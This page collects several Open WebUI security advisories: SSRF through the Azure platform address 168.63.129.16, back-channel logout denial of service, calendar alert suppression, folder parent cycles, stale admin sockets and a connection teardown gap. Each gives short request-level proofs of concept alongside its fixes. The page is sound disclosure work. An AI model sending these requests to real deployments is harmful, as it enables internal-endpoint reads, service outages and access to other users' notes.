Proof of concept Reproduced against a local instance on 0.11.0 with default settings, and against 0.11.1 for comparison.

An administrator created one external connection and two external knowledge bases bound to it, then granted a plain user write access on the first knowledge base. As that user:

DELETE /api/v1/knowledge/{KBA}/delete Authorization: Bearer <user token>

On 0.11.0 the request returns 200 true. The administrator connection list then returns zero connections, the second knowledge base still carries the deleted connection id, and retrieving from it raises "External knowledge connection not found".

On 0.11.1 the same request deletes the knowledge base, the connection list still returns the connection, and the second knowledge base is unaffected. An administrator deleting the last remaining knowledge base on that connection still clears it, so the intended cleanup is preserved.

Credits @Bellingham-max, for reporting the missing authorization on the shared connection teardown.

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
SSRF
AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N

Summary

Open WebUI fetches user-supplied URLs on the server for RAG URL ingestion and web search, and screens the resolved addresses so internal destinations cannot be reached. That screen decided whether a destination was external by asking Python's standard library whether the address is globally routable. Several addresses reserved for internal use answer yes to that question, including 168.63.129.16, the Azure platform channel every Azure virtual machine can reach. Any authenticated user could therefore make the server issue requests to those addresses and read the responses back through the API.

Preconditions

- The affected paths are the server-side URL fetches: RAG URL ingestion and web search. Both require an authenticated, verified account. No administrator role and no special workspace permission are needed. - ENABLELOCALWEBFETCH must be at its default of false. Setting it to true disables the address screen by design, and internal destinations are reachable on purpose. - WEBFETCHFILTERLIST is empty by default in affected versions, so no operator-supplied block entry covered these addresses unless one was added by hand. - For the Azure platform channel specifically, the Open WebUI host must run on Azure (virtual machine, AKS, Container Apps or equivalent). That address is reachable from every Azure virtual machine regardless of network security group rules. On a host that is not on Azure the address routes nowhere and nothing is reachable through it.

Impact

An authenticated user could direct the server to issue GET requests at addresses reserved for internal use and receive the response body back in the API response, which also lands in the RAG context. On Azure that includes the platform channel, an endpoint the operator never intended to expose to application users. The same gap applied to the IPv4-translated range and to deprecated IPv6 site-local space, which on a host that routes them would reach internal services the same way.

What was observed is the reachability and the read-back. No specific credential or secret was retrieved from the Azure platform channel during this investigation, and this advisory does not claim one. Deployments not hosted on Azure are unaffected for the platform-channel address, and deployments running with local web fetch enabled were never protected by this screen in any version.

Fix

Fixed in https://github.com/open-webui/open-webui/pull/27823. Address screening no longer rests on the library's notion of a globally routable address alone: a default block list of reserved and internal-purpose ranges is applied to every resolved address, at URL validation and again at connection time on both HTTP transports, so it also covers redirect hops and DNS rebinding. Operators can extend the list through WEBFETCHFILTERLIST, which is merged with the defaults and cannot remove them.

Root cause

- backend/openwebui/retrieval/web/utils.py: the shared address screen used by every server-side fetch. - POST /api/v1/retrieval/process/web: RAG URL ingestion, returns the fetched body to the caller. - POST /api/v1/retrieval/process/web/search: web search, fetches each result.

The code ships in every build, so no optional component or feature flag limits which installations carry it.

The screen answered one question, whether an address is globally routable, and treated that answer as a proxy for whether the destination is external. Those are two different questions. The library classifies by IANA special-purpose registry membership, and the Azure platform channel is allocated out of ordinary public IPv4 space, so the library correctly reports it as global while in practice it is an internal endpoint of the host's own platform. Earlier hardening (GHSA-8x5v-cpv7-8jjp) extended the screen to unwrap IPv6 addresses that carry an IPv4 address inside them. That closed the encoded-address bypasses and left the underlying test unchanged, so an address that is public by registry and internal by convention still passed.

Proof of concept

As any verified user:

POST /api/v1/retrieval/process/web {"url": "http://168.63.129.16/?comp=versions"}

On an affected version the address passes validation, the request is issued, and the response body is returned in the content field of the API response.

The screening code of each released version was exercised directly:

- 0.11.0: 168.63.129.16, ::ffff:0:169.254.169.254 and fec0::1 all pass validation. - 0.11.1: all three are rejected, along with every alternative spelling of the same address (IPv4-mapped, IPv4-compatible, IPv4-translated, 6to4 and both NAT64 prefixes) and the obfuscated decimal, octal and hexadecimal forms. Ordinary public addresses continue to pass.

No request was issued to a live Azure platform channel. The read-back property was confirmed from the ingestion endpoint, which returns the fetched body to the caller in its response.

Credits

@NaorYaa reported that the Azure platform channel remained reachable after the previous hardening, and demonstrated the same gap for the IPv4-translated and IPv6 site-local ranges.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Summary

The OIDC back-channel logout endpoint is unauthenticated by design, because the identity provider calls it without a browser session. Before checking whether the submitted logout token was genuine, the handler fetched the provider's discovery document and its signing keys over the network, and repeated both fetches on every request because nothing was cached. The signing-key fetch also ran as a blocking call inside the async event loop. A small number of requests carrying a worthless token was therefore enough to make the whole instance stop answering.

Preconditions

- ENABLEOAUTHBACKCHANNELLOGOUT=true. The default is False, so a stock deployment is not affected. This setting is recommended in the Open WebUI hardening documentation, which is why the issue is treated as in scope. - At least one OIDC provider configured (OAUTHCLIENTID, OAUTHCLIENTSECRET, OPENIDPROVIDERURL). - No account, credential, session or secret identifier is required. The attacker needs network access to the instance and the configured issuer string, which is published in the provider's own discovery document.

Impact

Against 0.11.0, with the identity provider answering in 150 ms, 60 concurrent requests carrying a token whose signature was four characters long stalled the async event loop for 8.3 seconds, measured against an idle baseline of 10.8 ms. For the length of that stall the process answers nothing: no chat requests, no API calls, no health check. Open WebUI runs a single worker by default, so the effect is instance-wide rather than per-connection, and no rate limit sits in front of the endpoint.

The same traffic is also amplified outward: 20 sequential requests produced 20 discovery fetches and 40 key-set fetches at the identity provider, so an attacker can drive load onto the provider through the instance.

No data is read, modified or exposed, and the forged token is still rejected. The cost is paid before the rejection.

Fix

Fixed in 0.11.1. The handler now resolves both the discovery document and the signing keys through the already-configured OAuth client, so each is fetched once per provider and reused afterwards, and both fetches are asynchronous rather than blocking the event loop. A token carrying no kid header is rejected before any key lookup happens. Upgrading is sufficient, and no configuration change is required.

Root cause

Affected component: the OIDC back-channel logout handler in backend/openwebui/utils/oauth.py, reached through POST /oauth/backchannel-logout. Affected setups: releases 0.9.0 through 0.11.0 with back-channel logout enabled and an OIDC provider configured.

The handler treated its network work as cheap preparation rather than as work worth protecting. For every request it opened a new HTTP session per configured provider to re-read the discovery document, then constructed a fresh JWKS client, whose own cache consequently started empty each time, and asked that client for the signing key through a synchronous call issued directly on the event loop. All of this ran before the token signature was verified, so an attacker unable to produce a valid token still cost the server two network round trips and a blocked loop per request. Both fetches used the library default timeout of five minutes.

Proof of concept

Reproduced by running the unmodified handler from the 0.11.0 and 0.11.1 backends against a loopback identity provider that counted every inbound request and could answer with a configured delay. The submitted token carried a valid issuer and audience, a kid naming a key the provider does not hold, and AAAA as its signature.

20 sequential requests, provider answering immediately:

| Version | Discovery fetches | Key-set fetches | Response | | --- | --- | --- | --- | | 0.11.0 | 20 | 40 | 400 | | 0.11.1 | 1 | 1 | 400 |

60 concurrent requests, provider answering in 150 ms:

| Version | Wall time | Discovery fetches | Key-set fetches | Worst event-loop stall | | --- | --- | --- | --- | --- | | 0.11.0 | 18.6 s | 60 | 120 | 8255 ms | | 0.11.1 | under 0.01 s | 0 | 0 | none measurable |

Idle event-loop stall was 10.8 ms in both cases. On 0.11.1 the first request an instance receives warms both caches, and every request after that reaches the signature check without any outbound network call.

Credits

@galanko, for reporting the issue and identifying both the missing caching and the blocking call.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Any authenticated user can suppress calendar alerts instance-wide via a non-numeric alert value

Summary

Calendar events carry a free-form meta object that is stored exactly as submitted, with no validation of the values inside it. The scheduler reads the per-event alert offset out of that object in a single pass that covers every user's upcoming events, and compares it numerically without checking that it is a number. Any verified user could store a text value there, which made the comparison raise and abort the whole pass, so no calendar reminder fired for anyone on the instance while that event stayed inside the lookahead window.

Preconditions

- Calendar is enabled (ENABLECALENDAR / calendar.enable, default True). - The attacker is a verified user (role user or admin) holding the calendar feature permission, which is granted to all users by default (USERPERMISSIONSFEATURESCALENDAR, default True). - The event's start time falls inside the scheduler's one hour lookahead window, so the shared alert pass selects it.

No admin access, no shared calendar, no recurrence rule and no open registration are required, an invited account is enough. Deployments running with the calendar disabled, or with the calendar feature permission removed from regular users, are not affected.

Impact

Availability loss on one feature, affecting every user on the instance. While a single event carrying a non-numeric alert value sat in the upcoming window, the shared alert pass raised before emitting anything, so no user received calendar alerts and no event was recorded as alerted. The same events were selected again on the next poll, so the suppression lasted as long as the event stayed in the window, roughly one hour per event, and could be sustained by storing a new one. Every user on a default deployment holds the permission needed to do this.

Chat, timers, automations and the HTTP API kept working throughout, and authenticated calendar reads continued to succeed. There is no crash, no code execution, and no access to other users' data. Alerts resumed on their own once the event left the window or was deleted.

Fix

Fixed in https://github.com/open-webui/open-webui/pull/28790, released in 0.11.1. The scheduler now treats any non-numeric alert value as unset and falls back to the default alert offset, so a stored text value can no longer interrupt the pass. Upgrading is sufficient and no configuration change is required. Events already holding a bad value simply revert to the default alert timing.

Root cause

Affected component: the upcoming-event lookup in the calendar event model, which the scheduler's alert pass calls every poll. Affected setup: every build carrying the calendar feature, which was introduced in 0.9.0.

Event meta is an untyped dictionary and was written to the database exactly as submitted, so nothing on the write path guaranteed that the alert offset was a number. The alert pass then read that value back and compared it numerically on the assumption that the write path had already constrained it, and the loop had no per-event error handling. Because a single background pass serves the whole instance rather than one user at a time, one unusable value from one user aborted the pass for everyone.

Proof of concept

Reported with a scripted reproduction against 0.11.0 (ghcr.io/open-webui/open-webui:latest) with the calendar enabled and two ordinary user accounts. The first account created an upcoming event with the alert offset stored as the text "5", the second created a normal upcoming event with a numeric offset. Across several scheduler polls the second user's event was never marked as alerted and no alert was delivered, while the server logged a type error from the alert pass on each poll. Health checks and authenticated calendar reads returned normally during the fault. After the first account's event was deleted, the second user's event was marked as alerted on the next poll and alerting resumed.

Credits

Binbin Xu​ of Tencent YUNDING LAB CodeBuddy Security.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Summary Any authenticated user can move one of their own folders under itself, leaving a loop in their folder tree. The re-parent endpoint performed no check that the new parent was not the folder itself or one of its own subfolders, and the folder tree walks did not track which folders they had already visited. A single request against a folder in a loop therefore never finishes.

Preconditions Folders must be enabled (ENABLEFOLDERS, default true) and the acting user's role must hold the folders feature permission (USERPERMISSIONSFEATURESFOLDERS, default true). Both are on in a default install. Any authenticated account is sufficient: no administrator, no second user, no shared folder and no victim interaction. Deployments that disable folders, or withhold the folders feature permission from non-admin roles, are not affected.

Impact A single request that never returns. It keeps running after the client disconnects, holds a CPU core and grows its in-memory folder list at roughly 0.6 GB per hour until the process is restarted. The folder stays in the looping state in the database, so any later request touching that folder starts the loop again.

The instance stays responsive while this happens. Each step of the walk waits on a database query, so other users continue to be served normally; measured on a default install, two concurrent instances of this request left unrelated users unaffected, and roughly 900 concurrent requests were needed before anyone else saw a slowdown. Nothing is denied to any other party at the time of the attack, and an unattended instance degrades over hours rather than immediately. No user data is exposed and no data belonging to another user is modified.

Fix Fixed in 0.11.1 by https://github.com/open-webui/open-webui/pull/28748. Moving a folder into itself or into one of its own subfolders is now rejected with a 400, every folder tree walk skips ids it has already visited, and a folder whose parent chain loops is returned to the root the next time the folder list is requested. An instance that already holds folders in this state recovers on upgrade with no operator action.

Root cause Affected components: the folder re-parent handler POST /api/v1/folders/{id}/update/parent, the subtree walk in the folder model that expands a folder into its descendants, and the two endpoints that call it, DELETE /api/v1/folders/{id} and POST /api/v1/folders/{id}/read. Affected setup: the subtree walk was introduced in 0.10.0, so no earlier release carries the code.

The folder hierarchy is stored as a plain parent reference per folder, with the acyclic property assumed rather than enforced. The write path never validated that assumption, and the read paths were written as if it always held, so nothing on either side would notice or stop a loop.

Proof of concept Reproduced against a default 0.11.0 install. As an ordinary authenticated user:

1. Create a folder and note its id. 2. POST /api/v1/folders/{id}/update/parent with parentid set to that same id. The request is accepted. 3. DELETE /api/v1/folders/{id} (or POST /api/v1/folders/{id}/read). The request never returns, and the worker continues running after the client disconnects.

No data was seeded directly into the database. Every step ran through the public API.

Credits @luida-ikura, who reported the folder parent cycle and the non-terminating subtree walk it reaches.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

Summary

A user who is demoted from admin by an identity provider keeps admin-level read and write access to every user's notes, over any Socket.IO connection that was already open when the demotion happened. Open WebUI caches the user's role on the socket at connection time, and the two SSO role-sync paths, the reverse-proxy trusted role header and OAuth role mapping, changed the role in the database without tearing that cached session down. Only the admin user-management endpoints invalidated sessions, so a demotion driven by the identity provider left the old privileges live on the socket.

Preconditions

A role-sync SSO mode has to be enabled. Either trusted-header authentication with WEBUIAUTHTRUSTEDROLEHEADER set, which is unset by default, or OAuth with role mapping enabled, which is off by default. Deployments that change roles only through the admin panel are not affected, because that path already invalidated the user's sockets.

The account has to be an admin at the moment it opens a Socket.IO connection, has to keep that connection open across the demotion, and has to be demoted through the SSO path rather than through the admin panel. Signing out, reloading the page, or any network interruption ends the exposure, because the reconnect reads a fresh role from the database.

Impact

Until the socket closes, the demoted account can open and edit any user's note through the collaborative-notes socket handlers, which grant admins access to every note. That is read and write access to other users' private notes, held by someone the operator has already removed from the admin role.

The rest of the product is not affected. Every HTTP endpoint reads the role fresh from the database on each request, so the demoted account has no admin access to the REST API, no user management, no settings and no model or connection configuration. The exposure ends the moment the connection drops, and the account controls that only by keeping the browser tab open.

The realistic case is off-boarding or a least-privilege downgrade performed in the identity provider, which is a normal administrative action rather than a misconfiguration.

Fix

Fixed in 0.11.1 by commit ce3c175e260709f359d7e6cbb3132f0572098b95. Role changes and user deletions now publish an internal event, and a session handler tears down that user's Socket.IO connections whenever the event fires, so every path that can change a role invalidates cached sessions instead of only the admin endpoints. Upgrading is sufficient, no configuration change is needed.

Root cause

Affected components:

- backend/openwebui/routers/auths.py, the trusted-header role sync in the sign-in handler. - backend/openwebui/utils/oauth.py, the OAuth role sync run on login. - backend/openwebui/socket/main.py, which caches the user record on the socket and authorizes the collaborative-notes handlers against that cached copy.

Session invalidation on role change was added as an explicit call, made at the call sites that changed a role rather than inside the role-change itself. The admin user-management endpoints made that call, the two SSO sync paths did not, and nothing else refreshed the role cached on an open socket. The socket keep-alive rewrites the cached record to reset the idle timer and preserves the stale role while doing so, so a connection that stays active is never reaped. Because the notes handlers grant full access to any note when the cached role reads admin, the gap turned into read and write access over all notes for as long as the connection lived.

Proof of concept

Deploy Open WebUI with trusted-header authentication and WEBUIAUTHTRUSTEDROLEHEADER set, or with OAuth role mapping enabled. Sign in as an admin and leave the browser open on a page holding a Socket.IO connection. Demote the account through the identity provider, meaning the next sign-in carries the role header set to user, or the account's group is changed at the OAuth provider. The database role is now user.

Over the connection that is still open, join and edit another user's note by its id. Both are granted, because the role cached on that socket still reads admin. Performing the same demotion through the admin panel instead drops the connection and revokes the access, which is the behaviour the SSO paths were missing.

This was established by source inspection against 0.11.0 rather than by an executed exploit.

Credits

Reported by @mtholmquist.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203